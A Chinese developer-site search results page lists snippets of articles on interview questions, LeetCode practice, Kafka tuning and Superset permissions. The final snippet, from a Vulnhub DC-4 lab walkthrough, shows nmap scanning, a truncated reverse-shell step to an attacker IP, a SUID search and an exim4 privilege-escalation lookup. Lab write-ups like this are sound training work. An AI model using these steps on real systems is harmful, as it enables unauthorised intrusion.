首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏java

    java场景思维

    4.最后,返回 dp[n],即整个字符串是否可以被拆分成字典中的单词。 检查是否有业务代码计算密集(如复杂加解密、数据压缩、json 处理、正则解析等)4. 结合压测场景回看流量特征这台机器是否被错误地负载过重? 某些特定路径是否流量异常(如重试逻辑失控)三、具体可能的原因分析常见导致 CPU 100% 的场景1. 死循环或递归未终止2. 热 Key 问题 / 锁竞争严重4. 无效请求/错误参数导致计算逻辑异常5. 线程池配置错误,过多线程切换(上下文切换高)6. 日志打印过多,尤其在控制台打印

    23700编辑于 2025-07-15
  • 场景:如何提升Kafka效率?

    4.配置调优合理设置 Kafka 的配置也可以一定程度的提升 Kafka 的效率,例如以下这些配置: 配置文件刷盘策略:调整 flush.ms 和 flush.messages 参数,控制数据何时写入磁盘

    1.1K11编辑于 2024-08-30
  • 来自专栏王磊的博客

    场景:海量数据如何判重?

    这是一道非常经典的面试场景。 那怎么回答这个问题呢?接下来咱们就详细的聊一聊。 参考答案 判断一个值是否存在?通常有以下两种解决方案: 使用哈希表:可以将数据进行哈希操作,将数据存储在相应的桶中。 bloomFilter.mightContain("data1")); // true System.out.println(bloomFilter.mightContain("data4"

    39220编辑于 2023-09-19
  • 来自专栏王磊的博客

    场景:海量数据如何判重?

    这是一道非常经典的面试场景。那怎么回答这个问题呢?接下来咱们就详细的聊一聊。参考答案判断一个值是否存在?通常有以下两种解决方案:使用哈希表:可以将数据进行哈希操作,将数据存储在相应的桶中。 bloomFilter.mightContain("data1")); // true System.out.println(bloomFilter.mightContain("data4"

    48230编辑于 2023-09-18
  • 来自专栏某菜鸟の小屋

    『LeetCode』#4日记

    前言 本日记为个人的刷学习日记,内容非原创,仅为自己复习知识时,能够看得懂自己写的CV的代码,快速理解题意。另外,力扣官方的题解很好用,三叶姐nb!!!!! 15. 例如,"346" 会替换为 "13" ,因为 3 + 4 + 6 = 13 。 合并 所有组以形成一个新字符串。如果新字符串的长度大于 k 则重复第一步。 返回在完成所有轮操作后的 s 。 3 == 0) { ans += val / 3; } else { // 不能被三整除的情况 比如 4 Sites.put(1, "Google"); Sites.put(2, "Runoob"); Sites.put(3, "Taobao"); Sites.put(4,

    49810编辑于 2022-11-01
  • 来自专栏KEN DO EVERTHING

    每日一4

    回顾与解析 下面的定义哪些对的? = 3; B:float f1 = 3.4; C:float f2 = 3.4f; D:double d = 3.4; 答案:ACD 考点:窄化转换和扩展转换(相关阅读:java"小心机"(1)中的4. java中,若无定义,小数默认为double类型,double大于float,需做显示转换3.4f或(float)3.4 C:正确 D:默认double,可以定义类型或不加,3.4d也是可以得 每日一 再来一道类型转换的吧 判断,对与错,为什么 1.short s1 = 1; s1 = s1 + 1; 2.short s1 = 1; s1 += 1;

    37310发布于 2019-01-17
  • 来自专栏算法工程师之路

    每日算法:Day 4

    作者:TeddyZhang,公众号:算法工程师之路 Day 4,继续加油,Python知识点! 1 编程 【剑指Offer】斐波那契数列 大家都知道斐波那契数列,现在要求输入一个整数n,请你输出斐波那契数列的第n项(从0开始,第0项为0)。 { return ; } return process(number-1) + process(number-2); } }; 2 概念

    64220发布于 2019-08-06
  • 来自专栏卡尼慕

    每日一4

    要求我们实现查找尾部的0的个数,那我的思路比较暴力直接,算出阶乘,然后逐个对10,100,1000求余,若为0,则零的个数加1。代码如下:

    44520发布于 2019-09-09
  • 来自专栏KI的算法杂记

    LeetCode刷系列(4)

    rec.erase(nums[i - k]); //滑动窗口 } } return false; } }; 4.

    35610编辑于 2022-09-19
  • 来自专栏编程

    4)Superset权限使用场景

    本文先介绍这几个角色,然后结合实际的安全访问控制的场景,看在Superset中怎样实现。 角色权限介绍 Admin: 拥有所有权限。 /incubator-superset/issues/3938 https://github.com/apache/incubator-superset/issues/2326 本文列举了权限使用几种场景

    9.5K120发布于 2018-01-30
  • 来自专栏程序员千羽

    小米场景,让我措手不及...

    小米golang开发面试只进行了1小时,没有涉及过多的八股文题目,给了两个场景,让我一下子措手不及,虽然我很想进入下一轮,但很遗憾,第一轮面试挂~~ 1.对安全的了解。 2.接口安全性知道不? 4.go的map和slice是线程安全不 5.场景题目: (1)五个域名abcde,各个qps不太一样,a=1w,b=200,但是想让他们访问平均,怎么处理 (2)一个ip:192.168.2.10,数据库里面有大量 4.go的map和slice是线程安全不 Go语言的map和slice都不是线程安全的。 在Go语言中,map和slice是引用类型,它们在多个协程之间共享数据时需要额外的同步机制来保证线程安全。 5.场景题目: (1)五个域名abcde,各个qps不太一样,a=1w,b=200,但是想让他们访问平均,怎么处理 要让五个域名abcde的QPS(Queries Per Second)平均,即使它们的

    54110编辑于 2024-01-04
  • 来自专栏飞天小牛肉

    高频场景分析|Feeds 流怎么设计?

    读取操作快 逻辑复杂 消耗大量存储空间 粉丝数多的时候会是灾难 拉 逻辑简单 节约存储空间 读取效率低下,关注人数多的时候会出现灾难 虽然乍看上去拉模型优点多多,但是 Feed 流是一个极度读写不平衡的场景 Redis 中有序数据结构有列表 List 和有序集合 SortedSet 两种,对于关注 Timeline 这种需要按时间排列且禁止重复的场景当然闭着眼睛选 SortedSet。

    88112编辑于 2024-05-06
  • 来自专栏AIoT技术交流、分享

    力扣(LeetCode)刷,简单(第4期)

    目录 第1:只出现一次的数字 第2:两数之和 第3:Excel表列名称 第4:数组中重复的数字 第5:二维数组中的查找 第6:替换空格 第7:从头到尾打印链表 第8:斐波拉契数列 第9 :青蛙跳台阶问题 第10:旋转数组的最小数 ---- 力扣(LeetCode)定期刷,每期10道,业务繁重的同志可以看看我分享的思路,不是最高效解决方案,只求互相提升。 第1:只出现一次的数字 试题要求如下: ? int a = 0; for(int i = 0;i < numsSize ;i++){ a ^= nums[i]; } return a; } ---- 第2: res[len] = (tmp - 1) % 26 + 'A'; tmp = (tmp - 1) / 26; } return res; } ---- 第4

    32940发布于 2021-01-20
  • 来自专栏布衣者博客

    LeetCode-题库-刷(4)

    4. 寻找两个正序数组的中位数 给定两个大小分别为 m 和 n 的正序(从小到大)数组 nums1 和 nums2。请你找出并返回这两个正序数组的 中位数 。

    40910发布于 2021-09-07
  • 来自专栏Python数据结构与算法

    牛客网刷-(4)

    + abs(a - b)) / 2 #再求出M1和c之间的最大值 X = (M1 + c + abs(M1 - c)) / 2 #将最大值输出 print("%d eh o maior"%X) 这道的难点 :题目给了你两个数如何取得最大值,但是现在求三个数,我们可以先比较前两个再比较第一次取到的最大值和未比较值的大小 (4)距离 #距离 L = int(input()) X = (L / 30)*60

    20410编辑于 2024-01-18
  • 来自专栏小杰的学习本

    菜鸟刷Day4

    ⭐作者:别动我的饭 ⭐专栏:菜鸟刷 ⭐标语:悟已往之不谏,知来者之可追 一.阶乘尾数:面试题 16.05. =1 * 2 * 3 * 4 * 5……* 10……* 15……* 20; 这个式子中出现了5,10=2 * 5,15=3 * 5,20=4 * 5; 即出现了4个5,而20的阶乘为243290200817664 0000;尾数零刚好是4个 找5的个数,也就是将n循环除5直到小于5为止 int trailingZeroes(int n) { int count=0; while( n>=5)//n小于5是没有尾数0的 { count+=n/5; n/=5; } } ---- 二.取近似值:取近似值_牛客霸_牛客网 (nowcoder.com scanf("%f",&f); int tmp=f+0.5; printf("%d\n",tmp); return 0; } ---- 三.数列:数列_牛客

    64400编辑于 2023-03-28
  • 来自专栏技术分享交流

    JavaScript专项算法4):异步

    (译注:原题库网页上的按钮) 题解: / CHALLENGE 4 / function brokenRecord() { // ADD CODE HERE setInterval(()=>console.log

    51220编辑于 2023-02-14
  • 来自专栏h-t-m

    LeetCode 刷笔记——day 4

    LeetCode 刷笔记——day 4 5. 最长回文子串 难度:中等 给你一个字符串 s,找到 s 中最长的回文子串。 示例 2: 输入:s = "cbbd" 输出:"bb" 示例 3: 输入:s = "a" 输出:"a" 示例 4: 输入:s = "ac" 输出:"a" 提示: 1 <= s.length <= 1000 就做题思想来说,作为小白,要学习的真的太多了,希望对算法的学习能成功从刷开始一直深入。如果有小白也刷到这里,应该也会感到很无力吧,愿大家都能坚持到底。 哦,才第五啊,那没事了~ 继续练习练习 Java 实现: class Solution { public String longestPalindrome(String s) { } return (end - start - 2) / 2; } } 执行用时: 19 ms 内存消耗: 38.9 MB 总结 虽然篇幅不小,但今天依旧只做了一道

    35720编辑于 2022-11-24
  • 来自专栏灰灰的数学与机械世界

    竞赛好暑假练习4

    利用不等式放缩以及定积分的性质解决一道定积分证明 设 f 是定义在闭区间 [0,1] 的连续函数,且 0 < m \leq f(x) \leq M ,对于 x \in [0,1] ,证明: \displaystyle \left(\int_{0}^{1}\dfrac{dx}{f(x)}\right)\left(\int_{0}^{1}f(x)dx\right)\leq\dfrac{(m+M)^2}{4mM} 分析: &=\dfrac{(M+m)^2-4(M+m)+4\lambda^2}{4}\\&=\dfrac{(M+m)}{4}-(M+m)\lambda+\lambda^2 \geq 0\end{align*} 所以 \displaystyle(M+m)\lambda-\lambda^2 \leq \dfrac{(M+m)^2}{4} ,即 \displaystyle \lambda\int_{0}^{1}f 0}^{1}f(x)dx\right)\leq\dfrac{(m+M)^2}{4mM} Summer Time

    44020编辑于 2022-11-23
  • 来自专栏C3ting

    Vulnhnb刷-DC-4

    Vulnhnb刷-DC-4 下载后,导入VMware打开,设置网络连接为NAT,拍摄一个快照防止环境损坏,即可开始攻击。 eth0 192.168.119.0/24 //扫描本地网络中存活主机 IP信息: 攻击机:192.168.119.128 靶机:192.168.119.153 靶机端口情况: nmap -sV -T4 sh 192.168.119.128 8888即可反弹shell 修改本地shell为交互式 python -c 'import pty;pty.spawn("/bin/bash")' 寻找提权点: 4、 用户: 寻找 flag文件 攻下: 方法3: 查询我们的本地shell有什么权限: find / -user root -perm -4000 -print 2>/dev/null 发现常见的exim4 ,看看可以使用这个漏洞不,先查看一下版本信息:exim4 --version 搜索看看有啥可用的漏洞信息:searchsploit exim 4 发现只有满足版本要求,传上去看看。

    34110编辑于 2023-12-26
领券